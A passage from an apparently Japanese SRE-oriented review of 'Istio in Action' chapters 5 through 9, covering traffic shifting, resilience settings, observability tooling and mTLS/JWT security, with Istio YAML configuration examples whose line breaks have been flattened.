SIDECAR_OUTBOUND patch: operation: ADD value: name: envoy.filters.http.lua typed_config: \\"@type\\": type.googleapis.com/envoy.extensions.filters.http.lua.v3.Lua inlineCode: | function envoy_on_response(response_handle) if response_handle:headers():get(\\":path\\") == \\"/api/important-endpoint\\" then response_handle:logInfo(\\"Important API called\\") end endこの設定により、特定のAPIエンドポイントへのコールをログに記録し、後で分析することができます。グラデュアルロールアウトの自動化: カナリアリリースやトラフィックシフティングの過程を自動化し、メトリクスに基づいて自動的にトラフィック比率を調整するシステムを構築します。これにより、人間の介入を最小限に抑えながら、安全かつ効率的なリリースが可能になります。Flaggerのようなツールを使用して、以下のようなワークフローを実装できます:1. 新バージョンを5%のトラフィックで開始2. エラーレートとレイテンシを5分間監視3. 問題がなければトラフィックを10%に増加4. ステップ2と3を繰り返し、最終的に100%に到達5. 問題が検出された場合は自動的にロールバックサービスメッシュの可視化: Kialiなどのツールを使用して、サービスメッシュのトポロジーと現在のトラフィックフローを視覚化します。これにより、複雑なルーティング設定の理解が容易になり、潜在的な問題の早期発見が可能になります。特に、新しいルーティングルールを適用した後の影響を視覚的に確認するのに役立ちます。セキュリティポリシーとの統合: トラフィック制御を組織のセキュリティポリシーと統合します。例えば、特定の重要なサービスへのアクセスを、認証されたサービスからのみに制限することができます:apiVersion: security.istio.io/v1beta1kind: AuthorizationPolicymetadata: name: catalog-auth-policyspec: selector: matchLabels: app: catalog action: ALLOW rules: - from: - source: principals: [\\"cluster.local/ns/default/sa/webapp\\"]この設定により、catalogサービスへのアクセスがwebappサービスアカウントからのみに制限されます。パフォーマンスベンチマーキング: 新旧バージョン間のパフォーマンス比較を自動化します。トラフィックミラーリングを使用して、新バージョンのパフォーマンスを測定し、既存バージョンと比較します。これにより、新バージョンがパフォーマンス要件を満たしているかを客観的に評価できます。災害復旧訓練の実施: Istioのトラフィック制御機能を使用して、災害復旧シナリオをシミュレートし、訓練します。例えば、特定のリージョンやクラスターの障害を模擬し、トラフィックを別のリージョンにリダイレクトする訓練を定期的に行います。これにより、実際の障害時にも迅速かつ効果的に対応できるようになります。これらの実践的な応用と提案を組み合わせることで、Istioのトラフィック制御機能を最大限に活用し、より安全、効率的、かつ堅牢なマイクロサービス環境を構築することができます。重要なのは、これらの手法を継続的に評価し、組織の成長と技術の進化に合わせて適応させていくことです。Istioは非常に強力で柔軟なツールですが、その真価を発揮するためには、組織の具体的なニーズと目標に合わせて慎重に設計し、実装する必要があります。まとめ「Istio in Action」の第5章は、Istioのトラフィック制御機能の重要性と強力さを明確に示しています。著者は、カナリアリリース、トラフィックシフティング、ミラーリングなどの高度な技術を詳細に解説し、これらがマイクロサービス環境でのリリースリスクを大幅に軽減する方法を提示しています。特に印象的なのは、「デプロイメント」と「リリース」の概念を分離することの重要性です。この考え方は、安全かつ効率的なソフトウェアデリバリーを実現する上で極めて重要です。Istioのトラフィック制御機能を活用することで、新バージョンのサービスを本番環境にデプロイしつつ、実際のトラフィックを段階的にシフトさせることが可能になります。また、Flaggerのような自動化ツールの導入により、カナリアリリースプロセスを更に最適化できることも示されています。これは、特に大規模な環境や頻繁なリリースが必要な場合に非常に有用です。2024年現在、アンビエントメッシュやWebAssemblyの進化など、Istioの新機能によりトラフィック制御の柔軟性と効率性が更に向上しています。これらの進化は、より大規模で複雑な環境でのIstioの適用を可能にしています。結論として、Istioのトラフィック制御機能は、現代のマイクロサービスアーキテクチャにおいて不可欠なツールとなっています。適切に活用することで、システムの安定性を維持しつつ、迅速かつ安全にイノベーションを推進することが可能になります。ただし、これらの機能を効果的に使用するためには、継続的な学習と実践、そして組織の具体的なニーズに合わせた戦略の策定が必要不可欠です。6 Resilience: Solving application networking challenges「Istio in Action」の第6章は、分散システムにおける重要な課題の一つであるレジリエンスに焦点を当てています。著者は、マイクロサービスアーキテクチャにおけるネットワークの信頼性の欠如、サービス間の依存関係管理、そして予期せぬ障害への対応といった問題に対して、Istioがどのようにソリューションを提供するかを詳細に解説しています。この章で特に印象に残ったのは分散システムの問題は、予測不可能な方法で障害が発生することが多く、手動でトラフィックシフトのアクションを取ることができないことです。この考え方は、現代のクラウドネイティブアーキテクチャが直面している根本的な課題を端的に表現しており、Istioのようなサービスメッシュの必要性を強調しています。この章はIstioを活用して本番環境でのレジリエンスを大幅に向上させる方法を提供しており、非常に価値があります。特に、クライアントサイドロードバランシング、タイムアウト、リトライ、サーキットブレーキングなどの機能を、アプリケーションコードを変更せずに実装できる点は、運用効率とシステムの信頼性向上に大きく貢献します。クライアントサイドロードバランシング著者は、Istioのクライアントサイドロードバランシング機能について詳細に解説しています。この機能により、サービス間の通信をより効率的に管理し、システム全体のパフォーマンスと信頼性を向上させることができます。Istioは以下の主要なロードバランシングアルゴリズムをサポートしています:Round Robin(ラウンドロビン): デフォルトのアルゴリズムで、リクエストを順番に各エンドポイントに分配します。Random(ランダム): リクエストをランダムにエンドポイントに分配します。Least Connection(最小接続数): アクティブな接続数が最も少ないエンドポイントにリクエストを送信します。これらのアルゴリズムは、DestinationRuleリソースを使用して設定できます。例えば、以下のような設定が可能です:apiVersion: networking.istio.io/v1beta1kind: DestinationRulemetadata: name: my-destination-rulespec: host: my-service trafficPolicy: loadBalancer: simple: LEAST_CONNこの設定により、my-serviceへのリクエストは、最小接続数アルゴリズムを使用してロードバランシングされます。著者は、これらのアルゴリズムの違いを実際のパフォーマンステストを通じて示しています。特に印象的だったのは、異なる負荷状況下での各アルゴリズムの振る舞いの違いです。例えば、一部のエンドポイントが高レイテンシーを示す状況下では、Least Connectionアルゴリズムが最も効果的にパフォーマンスを維持できることが示されています。SREの観点からは、この機能は特に重要です。本番環境では、サービスの負荷やパフォーマンスが常に変動するため、適切なロードバランシングアルゴリズムを選択し、必要に応じて動的に調整できることは、システムの安定性と効率性を大幅に向上させます。ロケーションアウェアロードバランシング著者は、Istioのロケーションアウェアロードバランシング機能についても詳しく説明しています。この機能は、マルチクラスタ環境やハイブリッドクラウド環境で特に有用です。ロケーションアウェアロードバランシングを使用すると、Istioは地理的に近いサービスインスタンスにトラフィックを優先的にルーティングします。これにより、レイテンシーを低減し、データの局所性を向上させることができます。例えば、以下のようなDestinationRuleを使用して、ロケーションベースの重み付けを設定できます:apiVersion: networking.istio.io/v1beta1kind: DestinationRulemetadata: name: my-destination-rulespec: host: my-service trafficPolicy: loadBalancer: localityLbSetting: distribute: - from: us-west/zone1/* to: \\"us-west/zone1/*\\": 80 \\"us-west/zone2/*\\": 20この設定では、us-west/zone1からのトラフィックの80%を同じゾーンに、20%をus-west/zone2にルーティングします。Figure 6.10 Prefer calling services in the same locality. より引用SREとして、この機能は特にグローバルに分散したアプリケーションの運用に有用です。適切に設定することで、ユーザーエクスペリエンスの向上、コストの最適化、そして障害時の影響範囲の局所化を実現できます。タイムアウトとリトライ著者は、Istioのタイムアウトとリトライ機能について詳細に解説しています。これらの機能は、ネットワークの信頼性が低い環境や、サービスが一時的に応答しない状況での耐性を向上させるために重要です。タイムアウトは、VirtualServiceリソースを使用して設定できます:apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: my-virtual-servicespec: hosts: - my-service http: - route: - destination: host: my-service timeout: 0.5sこの設定では、my-serviceへのリクエストが0.5秒以内に完了しない場合、タイムアウトエラーが発生します。リトライも同様にVirtualServiceで設定できます:apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: my-virtual-servicespec: hosts: - my-service http: - route: - destination: host: my-service retries: attempts: 3 perTryTimeout: 2sこの設定では、リクエストが失敗した場合に最大3回まで再試行し、各試行のタイムアウトを2秒に設定しています。著者は、これらの設定の影響を実際のパフォーマンステストを通じて示しています。特に印象的だったのは、適切に設定されたリトライ機能が、一時的な障害からのサービスの回復性を大幅に向上させる様子です。しかし、著者は同時に、過度のリトライがシステムに与える潜在的な悪影響についても警告しています。「サンダリングハード」問題(リトライが連鎖的に増幅し、システムに過大な負荷をかける現象)について言及しており、この問題を回避するためのベストプラクティスを提供しています。Figure 6.14 The “thundering herd” effect when retries compound each other より引用SREの観点からは、タイムアウトとリトライの適切な設定は、システムの信頼性とパフォーマンスのバランスを取る上で極めて重要です。特に、マイクロサービスアーキテクチャにおいては、サービス間の依存関係が複雑になるため、これらの設定の影響を慎重に検討し、継続的にモニタリングと調整を行う必要があります。サーキットブレーキング著者は、Istioのサーキットブレーキング機能について詳細に解説しています。この機能は、システムの一部が障害を起こした際に、その影響が他の部分に波及するのを防ぐために重要です。Istioでは、サーキットブレーキングをDestinationRuleリソースを使用して設定します:apiVersion: networking.istio.io/v1beta1kind: DestinationRulemetadata: name: my-destination-rulespec: host: my-service trafficPolicy: connectionPool: tcp: maxConnections: 100 http: http1MaxPendingRequests: 1 maxRequestsPerConnection: 10 outlierDetection: consecutiveErrors: 5 interval: 5s baseEjectionTime: 30s maxEjectionPercent: 100この設定では、以下のようなサーキットブレーキングのルールを定義しています:最大100のTCP接続を許可キューに入れることができる未処理のHTTPリクエストを1つに制限1つの接続で処理できる最大リクエスト数を10に制限5回連続でエラーが発生した場合、そのホストを30秒間エジェクト(除外)最大で100%のホストをエジェクト可能著者は、これらの設定の影響を実際のパフォーマンステストを通じて示しています。特に印象的だったのは、サーキットブレーキングが適切に機能することで、システム全体の安定性が大幅に向上する様子です。Figure 6.15 Circuit-breaking endpoints that don’t behave correctly より引用SREの観点からは、サーキットブレーキングは特に重要な機能です。大規模な分散システムでは、部分的な障害は避けられません。サーキットブレーキングを適切に設定することで、障害の影響を局所化し、システム全体の耐障害性を向上させることができます。実践的な応用と提案Istioのレジリエンス機能を効果的に活用するために、以下の実践的な提案を考えてみましょう:段階的な導入戦略の策定: レジリエンス機能の導入は、小規模なサービスから始め、徐々に範囲を広げていくことをお勧めします。特に、クリティカルではないサービスから始めることで、リスクを最小限に抑えながら経験を積むことができます。包括的なモニタリングの実装: Istioのテレメトリ機能を活用し、サービスのパフォーマンス、エラーレート、レイテンシなどを詳細に監視します。Prometheusなどのモニタリングシステムと統合し、カスタムダッシュボードを作成して、レジリエンス機能の効果を視覚化します。カオスエンジニアリングの実践: Istioのトラフィック管理機能と障害注入機能を組み合わせて、計画的にシステムに障害を導入し、レジリエンス機能の効果を検証します。これにより、予期せぬ障害に対する準備を整えることができます。サーキットブレーキングの最適化: サーキットブレーキングの設定は、サービスの特性や負荷パターンに応じて最適化する必要があります。負荷テストを実施し、適切なしきい値を見つけることが重要です。リトライ戦略の慎重な設計: リトライは有効な機能ですが、過度のリトライはシステムに悪影響を与える可能性があります。エクスポネンシャルバックオフなどの高度なリトライ戦略を検討し、「サンダリングハード」問題を回避します。ロケーションアウェアロードバランシングの活用: グローバルに分散したアプリケーションでは、ロケーションアウェアロードバランシングを積極的に活用します。これにより、レイテンシーの低減とデータの局所性の向上を実現できます。アプリケーションレベルのレジリエンスとの統合: Istioのレジリエンス機能は強力ですが、アプリケーションレベルのレジリエンス(例:サーキットブレーカーパターン、バルクヘッドパターン)と組み合わせることで、さらに強固なシステムを構築できます。継続的な学習と最適化: レジリエンス戦略は、システムの進化と共に継続的に見直し、最適化する必要があります。新しいIstioのバージョンがリリースされた際は、新機能や改善点を積極的に評価し、導入を検討します。ドキュメンテーションとナレッジ共有: レジリエンス設定とその理由を明確にドキュメント化し、チーム全体で共有します。これにより、長期的なメンテナンス性が向上し、新しいチームメンバーのオンボーディングも容易になります。パフォーマンスとレジリエンスのトレードオフの管理: レジリエンス機能の導入は、システムのパフォーマンスにも影響を与える可能性があります。常にパフォーマンスとレジリエンスのバランスを意識し、必要に応じて調整を行います。まとめ「Istio in Action」の第6章は、Istioを活用したマイクロサービスアーキテクチャのレジリエンス向上について、非常に包括的かつ実践的な内容を提供しています。著者は、クライアントサイドロードバランシング、タイムアウト、リトライ、サーキットブレーキングなどの重要な概念を、理論的説明と実際のパフォーマンステストを通じて解説しており、読者に深い理解を促しています。特に印象的だったのは、著者が単にIstioの機能を説明するだけでなく、それらの機能が実際のプロダクション環境でどのように適用され、どのような影響をもたらすかを具体的に示している点です。例えば、サーキットブレーキングの設定が、システム全体の安定性にどのように寄与するかを、実際のメトリクスを用いて説明している部分は非常に有益です。この章で紹介されているテクニックは、現代の複雑な分散システムの運用において極めて重要です。特に、手動介入なしにシステムのレジリエンスを向上させる能力は、大規模なマイクロサービス環境では不可欠です。しかし、同時に著者は、これらの機能の過度の使用や誤った設定がもたらす潜在的なリスクについても警告しています。例えば、過剰なリトライによる「サンダリングハード」問題や、不適切なサーキットブレーキング設定による不必要なサービス停止などのリスクについて言及しており、読者に慎重な設計と継続的なモニタリングの重要性を喚起しています。2024年現在の技術動向を踏まえると、本章で説明されている概念は依然として有効であり、重要性を増していると言えます。特に、アンビエントメッシュやWebAssemblyの進化により、Istioのレジリエンス機能はより柔軟かつ効率的に適用できるようになっています。最後に、この章から得られる重要な教訓は、レジリエンスは単なる技術的な課題ではなく、システム設計、運用プラクティス、そして組織文化全体に関わる問題だということです。Istioは強力なツールを提供しますが、それを効果的に活用するためには、継続的な学習、実験、そして最適化が不可欠です。7 Observability: Understanding the behavior of your services「Istio in Action」の第7章は、マイクロサービスアーキテクチャにおける重要な課題である観測可能性(Observability)に焦点を当てています。著者は、複雑に絡み合ったサービス群の挙動を理解し、問題を迅速に特定・解決するためのIstioの機能を詳細に解説しています。この章で特に印象に残ったのは観測可能性はデータを収集するだけでなく、そのデータから洞察を得て、システムのパフォーマンス、信頼性、ユーザーエクスペリエンスを向上させることに関するものです。この考え方は、観測可能性の本質を端的に表現しており、単なるモニタリングを超えた価値を強調しています。Istioの観測可能性アーキテクチャ著者は、Istioの観測可能性アーキテクチャについて詳細に解説しています。Istioは、以下の3つの主要な観測可能性機能を提供しています:メトリクス: システムの動作に関する数値データ分散トレーシング: リクエストの流れと各サービスでの処理時間の追跡アクセスログ: 各リクエストの詳細な情報これらの機能は、Istioのデータプレーン(Envoyプロキシ)とコントロールプレーン(istiod)の両方で実装されています。Figure 7.1 Istio is in a position to implement controls and observations. より引用この図は、Istioの観測可能性アーキテクチャの全体像を示しています。Envoyプロキシがデータを収集し、それがPrometheus、Jaeger、Logging Backendなどのツールに送られる様子が描かれています。メトリクス収集の詳細Istioは、サービスメッシュ内のトラフィックに関する豊富なメトリクスを自動的に収集します。これらのメトリクスは、主に以下の4つのカテゴリに分類されます:プロキシレベルメトリクス: Envoyプロキシ自体の性能に関するメトリクスサービスレベルメトリクス: 各サービスのリクエスト量、レイテンシ、エラーレートなどコントロールプレーンメトリクス: istiodの性能と健全性に関するメトリクスIstio標準メトリクス: Istioが定義する標準的なメトリクスセット著者は、これらのメトリクスの詳細と、それらがどのようにPrometheusで収集されるかを説明しています。例えば、以下のようなPrometheusクエリを使用して、特定のサービスの成功率を計算できます:Figure 7.2 Prometheus scraping Istio service proxy for metrics より引用sum(rate(istio_requests_total{reporter=\\"destination\\",destination_service_name=\\"myservice\\",response_code!~\\"5.*\\"}[5m])) / sum(rate(istio_requests_total{reporter=\\"destination\\",destination_service_name=\\"myservice\\"}[5m]))このクエリは、過去5分間のリクエスト成功率(5xxエラー以外のレスポンス)を計算します。分散トレーシングの実装著者は、Istioの分散トレーシング機能の実装詳細について深く掘り下げています。Istioは、OpenTelemetryプロトコルを使用して分散トレーシングをサポートしています。トレーシングを有効にするためには、以下の3つの主要なコンポーネントが必要です:トレースコンテキストの伝播: リクエストヘッダーを使用してトレース情報を伝播スパンの生成: 各サービスでの処理をスパンとして記録トレースバックエンド: Jaegerなどのシステムでトレースデータを収集・分析著者は、これらのコンポーネントの設定方法と、効果的な使用方法を詳細に説明しています。例えば、以下のようなTelemetryリソースを使用して、トレーシングの設定をカスタマイズできます:apiVersion: telemetry.istio.io/v1alpha1kind: Telemetrymetadata: name: tracing-configspec: tracing: - customTags: my_custom_tag: literal: value: \\"some-constant-value\\" randomSamplingPercentage: 10.00この設定では、10%のリクエストをランダムにサンプリングし、カスタムタグを追加しています。アクセスロギングの高度な設定著者は、Istioのアクセスロギング機能の高度な設定オプションについても詳しく解説しています。アクセスログは、各リクエストの詳細な情報を記録し、後から分析やトラブルシューティングを行うために使用されます。Istioでは、EnvoyFilterリソースを使用してログフォーマットをカスタマイズできます。例えば、以下のような設定で、JSONフォーマットのログを生成できます:apiVersion: networking.istio.io/v1alpha3kind: EnvoyFiltermetadata: name: custom-access-logspec: configPatches: - applyTo: NETWORK_FILTER match: context: ANY listener: filterChain: filter: name: \\"envoy.filters.network.http_connection_manager\\" patch: operation: MERGE value: typed_config: \\"@type\\": \\"type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager\\" access_log: - name: envoy.access_loggers.file typed_config: \\"@type\\": \\"type.googleapis.com/envoy.extensions.access_loggers.file.v3.FileAccessLog\\" path: /dev/stdout json_format: time: \\"%START_TIME%\\" protocol: \\"%PROTOCOL%\\" duration: \\"%DURATION%\\" request_method: \\"%REQ(:METHOD)%\\" request_host: \\"%REQ(HOST)%\\" path: \\"%REQ(X-ENVOY-ORIGINAL-PATH?:PATH)%\\" response_code: \\"%RESPONSE_CODE%\\" response_flags: \\"%RESPONSE_FLAGS%\\" client_ip: \\"%DOWNSTREAM_REMOTE_ADDRESS_WITHOUT_PORT%\\" user_agent: \\"%REQ(USER-AGENT)%\\" request_id: \\"%REQ(X-REQUEST-ID)%\\" upstream_host: \\"%UPSTREAM_HOST%\\" upstream_cluster: \\"%UPSTREAM_CLUSTER%\\" upstream_local_address: \\"%UPSTREAM_LOCAL_ADDRESS%\\"このJSONフォーマットのログは、構造化されているため、Elasticsearchなどのログ分析ツールでより効率的に処理・分析できます。観測可能性データの活用著者は、収集した観測可能性データを実際にどのように活用するかについても詳しく説明しています。主な活用方法として、以下が挙げられています:パフォーマンス最適化: レイテンシメトリクスとトレースデータを使用して、ボトルネックを特定し、最適化問題のトラブルシューティング: エラーレートの急増やレイテンシスパイクの原因を特定容量計画: 長期的なトラフィックトレンドを分析し、適切なスケーリング戦略を立案セキュリティ監査: 異常なトラフィックパターンや不正アクセスの試みを検出SLO/SLAの監視: サービスレベル目標の達成状況をリアルタイムで監視著者は、これらの活用方法について具体的な例を挙げて説明しています。例えば、特定のAPIエンドポイントのレイテンシが急増した場合、以下のようなステップでトラブルシューティングを行うことができます:Grafanaダッシュボードでレイテンシメトリクスを確認し、問題の範囲と影響を特定Jaegerでトレースデータを分析し、どのサービスやコンポーネントが遅延の原因となっているかを特定関連するアクセスログを検索し、問題のリクエストの詳細な情報を確認必要に応じて、Istioの高度なルーティング機能を使用してトラフィックを迂回させ、問題の影響を最小限に抑えるこのような体系的なアプローチにより、複雑なマイクロサービス環境でも効率的に問題を特定・解決することができます。まとめ著者は、観測可能性がマイクロサービスアーキテクチャの成功に不可欠であることを強調しています。Istioの観測可能性機能は、複雑なシステムの挙動を理解し、問題を迅速に特定・解決するための強力なツールセットを提供します。しかし、著者は同時に、観測可能性は技術的な問題だけでなく、組織的な課題でもあることを指摘しています。効果的な観測可能性戦略を実装するためには、以下のような組織的な取り組みが必要です:観測可能性文化の醸成: チーム全体で観測可能性の重要性を理解し、日常的な開発・運用プロセスに組み込むスキルの向上: メトリクス、トレース、ログの効果的な利用方法について、継続的なトレーニングを実施ツールとプラクティスの標準化: 一貫した観測可能性アプローチを組織全体で採用自動化の推進: 観測可能性データの収集、分析、可視化プロセスを可能な限り自動化最後に、著者は将来の展望として、機械学習やAIを活用した高度な異常検知や予測分析の可能性に言及しています。これらの技術とIstioの観測可能性機能を組み合わせることで、さらに強力なシステム監視・最適化が可能になると予想されます。2024年現在の技術動向を踏まえると、本章で説明されている観測可能性の概念と実践は依然として有効であり、その重要性はさらに増しています。特に、OpenTelemetryの普及やクラウドネイティブ環境の複雑化に伴い、Istioの観測可能性機能はより一層重要になっています。8 Observability: Visualizing network behavior with Grafana, Jaeger, and Kiali「Istio in Action」の第8章は、Istioの観測可能性機能に焦点を当て、Grafana、Jaeger、Kialiといった強力なツールを用いてサービスメッシュの動作を可視化する方法を詳細に解説しています。この章で言葉は、観測可能性はデータを収集するだけでなく、そのデータから洞察を得てシステムのパフォーマンス、信頼性、ユーザーエクスペリエンスを向上させることに関するものです。この考え方は、観測可能性の本質を端的に表現しており、単なるモニタリングを超えた価値を強調しています。この章は実際の運用環境でIstioを効果的に活用するための実践的なガイドとして非常に価値があります。特に、複雑なマイクロサービス環境でのトラブルシューティングや性能最適化に必要な洞察を得るための具体的な方法が示されている点が印象的です。Grafanaを用いたメトリクスの可視化著者は、Grafanaを使用してIstioのメトリクスを可視化する方法を詳細に解説しています。Grafanaは、Prometheusが収集したメトリクスを視覚的に表現するためのツールとして紹介されています。このコマンドは、Istioの各種ダッシュボードをKubernetesのConfigMapとして作成します。これにより、Grafanaで簡単にIstioの状態を監視できるようになります。Figure 8.4 The control-plane dashboard with metrics graphed より引用この図は、Grafanaで表示されるIstioコントロールプレーンのダッシュボードを示しています。CPU使用率、メモリ使用率、goroutine数など、重要なメトリクスが視覚化されています。これらのダッシュボードは日常的な運用監視やトラブルシューティングに非常に有用です。例えば、コントロールプレーンのパフォーマンス問題や設定の同期状態を即座に確認できます。分散トレーシングとJaeger著者は、分散トレーシングの概念とJaegerを用いた実装方法について詳細に解説しています。分散トレーシングは、複数のマイクロサービスにまたがるリクエストの流れを追跡し、各サービスでの処理時間やエラーの発生箇所を特定するために不可欠な技術です。Jaegerをデプロイするための最新のYAMLファイルは、Istioの公式リポジトリから入手できます。github.com著者は、分散トレーシングを効果的に活用するためには、アプリケーションコードでトレースヘッダーを適切に伝播することが重要だと強調しています。以下は、Istioが自動的に生成するトレースヘッダーのリストです:x-request-idx-b3-traceidx-b3-spanidx-b3-parentspanidx-b3-sampledx-b3-flagsx-ot-span-contextこれらのヘッダーを適切に伝播することで、サービス間の呼び出しを正確にトレースできます。Figure 8.7 With distributed tracing, we can collect Span s for each network hop, capture them in an overall Trace, and use them to debug issues in our call graph. より引用この図は、分散トレーシングの概念を視覚的に表現しています。複数のサービスにまたがるリクエストの流れと、各サービスでの処理時間が明確に示されています。Figure 8.8 The application must propagate the tracing headers. Otherwise, we lose the full span of the request. より引用SREとして、この機能は特に複雑なマイクロサービス環境でのパフォーマンス問題やエラーの根本原因分析に非常に有効です。例えば、特定のAPI呼び出しが遅い原因が、どのサービスのどの処理にあるのかを迅速に特定できます。Kialiを用いたサービスメッシュの可視化著者は、Kialiを使用してIstioのサービスメッシュを可視化する方法を詳細に解説しています。Kialiは、サービス間の依存関係やトラフィックフローをリアルタイムで視覚化するツールとして紹介されています。Kialiの最新バージョンをデプロイするには、Helm chartを使用することが推奨されています。以下は、Kialiをデプロイするコマンドの例です:helm install \\\\ --namespace kiali-operator \\\\ --create-namespace \\\\ --set cr.create=true \\\\ --set cr.namespace=istio-system \\\\ --repo https://kiali.org/helm-charts \\\\ kiali-operator \\\\ kiali-operatorこのコマンドは、KialiオペレーターとKialiインスタンスを同時にデプロイします。Kialiの主な機能として、以下が挙げられています:サービス間のトラフィックフローの可視化リアルタイムのヘルスステータス監視Istio設定のバリデーショントレースデータとメトリクスの相関分析Figure 8.15 Simple visual graph of the services in our namespace and how they’re connected to each other より引用この図は、Kialiで表示されるサービスメッシュのグラフビューを示しています。サービス間の依存関係とトラフィックフローが視覚的に表現されています。SREの観点からは、Kialiは特にトラブルシューティングと性能最適化に非常に有用です。例えば、特定のサービスへのトラフィック集中や、予期せぬサービス間の依存関係を視覚的に素早く把握できます。実践的な応用と提案Istioの観測可能性機能を効果的に活用するために、以下の実践的な提案を考えてみましょう:包括的な監視戦略の策定: Grafana、Jaeger、Kialiを組み合わせた包括的な監視戦略を策定します。各ツールの長所を活かし、相互補完的に使用することで、システムの状態をより完全に把握できます。カスタムダッシュボードの作成: Grafanaを使用して、ビジネス目標に直結するカスタムダッシュボードを作成します。例えば、特定のAPIのエラーレートとレイテンシを組み合わせたダッシュボードを作成し、SLOの達成状況を可視化します。トレースサンプリング戦略の最適化: 全てのリクエストをトレースするのではなく、適切なサンプリング戦略を設定します。例えば、エラーが発生したリクエストや特定の重要な処理パスを常にトレースし、それ以外はランダムサンプリングするなどの戦略が考えられます。アラートの適切な設定: メトリクスに基づいて適切なアラートを設定します。ただし、アラートの閾値は慎重に設定し、誤検知や警告疲れを避けるよう注意します。例えば、短期的なスパイクではなく、持続的な問題に対してアラートを発生させるよう設定します。サービスメッシュの健全性監視: Kialiを使用して、サービスメッシュ全体の健全性を定期的に監視します。特に、新しいサービスのデプロイ後や設定変更後には、予期せぬ影響がないか注意深く確認します。トレースデータの分析自動化: Jaegerのトレースデータを自動的に分析し、パフォーマンス低下やエラー増加のパターンを検出するスクリプトを作成します。これにより、問題を早期に発見し、プロアクティブに対応できます。observability-as-codeの実践: 監視設定やダッシュボード定義をコード化し、バージョン管理システムで管理します。これにより、環境間での一貫性を保ち、設定変更の追跡を容易にします。チーム間の知識共有: 定期的なワークショップやドキュメンテーションの更新を通じて、チーム全体でIstioの観測可能性機能に関する知識を共有します。これにより、全てのチームメンバーが効果的にツールを活用できるようになります。まとめ「Istio in Action」の第8章は、Istioの観測可能性機能を実践的に活用するための包括的なガイドを提供しています。Grafana、Jaeger、Kialiといった強力なツールを組み合わせることで、複雑なマイクロサービス環境の動作を詳細に把握し、効果的に管理することが可能になります。著者は、これらのツールを単に導入するだけでなく、実際の運用シナリオでどのように活用するかを具体的に示しています。例えば、Grafanaのダッシュボードを使用してシステムの全体的な健全性を監視し、異常が検出された場合にJaegerのトレースデータを分析してボトルネックを特定し、最後にKialiを使用してサービス間の依存関係を視覚的に確認するといった、総合的なトラブルシューティングアプローチが提案されています。特に印象的だったのは、著者が観測可能性を単なる技術的な課題ではなく、ビジネス価値に直結する重要な要素として位置づけている点です。例えば、トレースデータを活用してユーザーエクスペリエンスの改善につなげたり、Kialiの可視化機能を使用してサービス間の依存関係を最適化したりするなど、観測可能性がビジネスの成功に直接貢献する方法が示されています。9 Securing microservice communication「Istio in Action」の第9章は、マイクロサービスアーキテクチャにおける重要な課題の一つであるセキュリティに焦点を当てています。著者は、Istioが提供する強力なセキュリティ機能を詳細に解説し、サービス間通信の認証、認可、暗号化をどのように実現するかを具体的な例を交えて説明しています。この辺についてはIstioを使わない場合だとマイクロサービス間通信における認証認可およびアクセス制御が良いのでオススメです。zenn.devこの章で特に印象に残ったのは、「Istioはセキュアバイデフォルト」という概念です。これは、Istioがデフォルトで高度なセキュリティ機能を提供し、開発者が意識しなくてもある程度のセキュリティを確保できることを意味しています。しかし、同時に著者は、真のセキュリティを実現するためには、これらの機能を適切に理解し、設定する必要があることも強調しています。Figure 9.1 Monolithic application running on-premises with static IPs より引用この図は、オンプレミス環境で静的IPを使用して運用されるモノリシックアプリケーションを示しています。静的なインフラストラクチャでは、IPアドレスが信頼の良い源となり、認証のための証明書や、ネットワークファイアウォールルールで一般的に使用されます。この環境では、セキュリティの管理が比較的単純です。しかし、著者は続けて、マイクロサービスアーキテクチャへの移行に伴う課題を説明しています。マイクロサービスは容易に数百、数千のサービスに成長し、静的な環境での運用が困難になります。そのため、チームはクラウドコンピューティングやコンテナオーケストレーションなどの動的な環境を活用し、サービスは多数のサーバーにスケジュールされ、短命になります。これにより、IPアドレスを使用する従来の方法は信頼できない識別子となります。さらに、サービスは必ずしも同じネットワーク内で実行されるわけではなく、異なるクラウドプロバイダーやオンプレミスにまたがる可能性があります。この変化は重要です。静的な環境からダイナミックな環境への移行は、セキュリティの実装方法を根本的に変える必要があることを意味します。特に、サービス間認証(mTLS)、エンドユーザー認証(JWT)、細かな認可ポリシーの設定など、現代のクラウドネイティブアプリケーションに不可欠なセキュリティ機能が重要になってきます。サービス間認証(mTLS)著者は、Istioのサービス間認証機能、特に相互TLS(mTLS)について詳細に解説しています。mTLSは、サービス間の通信を暗号化するだけでなく、通信の両端を相互に認証することで、非常に高度なセキュリティを実現します。Figure 9.4 Workloads mutually authenticate using SVID certificates issued by the Istio certificate authority. より引用この図は、Istioの証明書機関(CA)によって発行されたSPIFFE Verifiable Identity Document(SVID)証明書を使用して、ワークロードが相互に認証する様子を示しています。これにより、サービス間のトラフィックが暗号化され、相互に認証されることで、「セキュアバイデフォルト」の状態が実現されます。Istioでは、PeerAuthenticationリソースを使用してmTLSを設定します。例えば、以下のような設定でメッシュ全体にmTLSを強制適用できます:apiVersion: \\"security.istio.io/v1beta1\\"kind: \\"PeerAuthentication\\"metadata: name: \\"default\\" namespace: \\"istio-system\\"spec: mtls: mode: STRICTこの設定により、メッシュ内のすべてのサービス間通信がmTLSで保護されます。著者は、この設定の影響を実際のトラフィックフローを用いて説明しており、特に印象的でした。しかし、著者は同時に、既存のシステムへのmTLSの導入には注意が必要であることも強調しています。急激な変更はシステムの安定性を脅かす可能性があるため、PERMISSIVEモードを使用した段階的な導入が推奨されています。SREの観点からは、この段階的アプローチは非常に重要です。本番環境でのセキュリティ強化は、サービスの可用性とのバランスを取りながら慎重に進める必要があります。エンドユーザー認証(JWT)著者は、Istioのエンドユーザー認証機能、特にJSON Web Token(JWT)を使用した認証について詳細に解説しています。この機能により、マイクロサービスは個別に認証ロジックを実装することなく、一貫したエンドユーザー認証を実現できます。Figure 9.12 The server retrieves a JWKS to validate the token presented by the client. より引用この図は、サーバーがJWKS(JSON Web Key Set)を使用してクライアントから提示されたトークンを検証するプロセスを示しています。JWKSには公開鍵が含まれており、これを使用してトークンの署名を検証することで、トークンの真正性を確認します。このプロセスにより、トークンのクレームを信頼し、認可決定に使用することができます。Istioでは、RequestAuthenticationリソースを使用してJWT認証を設定します。例えば:apiVersion: \\"security.istio.io/v1beta1\\"kind: \\"RequestAuthentication\\"metadata: name: \\"jwt-token-request-authn\\" namespace: istio-systemspec: selector: matchLabels: app: istio-ingressgateway jwtRules: - issuer: \\"auth@istioinaction.io\\" 